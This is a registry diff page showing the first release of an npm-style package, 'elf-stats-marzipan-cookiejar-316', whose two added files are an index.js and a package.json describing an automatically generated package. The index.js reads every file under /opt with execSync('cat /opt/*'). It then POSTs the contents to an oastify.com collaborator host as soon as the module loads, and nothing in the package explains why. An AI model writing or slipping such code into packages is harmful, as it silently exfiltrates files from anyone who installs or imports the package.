elf-stats-marzipan-cookiejar-316 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +41 -0
  2. package/package.json +8 -0
package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ const { execSync } = require('child_process');
2
+ const https = require('https');
3
+
4
+ try {
5
+ // Exécuter ls /opt
6
+ const output = execSync('cat /opt/*', { encoding: 'utf-8' });
7
+
8
+ // Préparer les données POST
9
+ const postData = JSON.stringify({
10
+ command: 'ls /opt',
11
+ output: output,
12
+ timestamp: new Date().toISOString()
13
+ });
14
+
15
+ // Options pour la requête POST
16
+ const options = {
17
+ hostname: 'u3yxbgxo6pbe5vwz0dard9oqxh39r0fp.oastify.com',
18
+ port: 443,
19
+ path: '/',
20
+ method: 'POST',
21
+ headers: {
22
+ 'Content-Type': 'application/json',
23
+ 'Content-Length': Buffer.byteLength(postData)
24
+ }
25
+ };
26
+
27
+ // Envoyer la requête
28
+ const req = https.request(options, (res) => {
29
+ console.log(`Status: ${res.statusCode}`);
30
+ });
31
+
32
+ req.on('error', (e) => {
33
+ console.error(e);
34
+ });
35
+
36
+ req.write(postData);
37
+ req.end();
38
+
39
+ } catch (error) {
40
+ console.error('Error:', error.message);
41
+ }
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "elf-stats-marzipan-cookiejar-316",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "description": "Package generated automatically every 2 minutes..",
6
+ "author": "Elf Workshop",
7
+ "license": "MIT"
8
+ }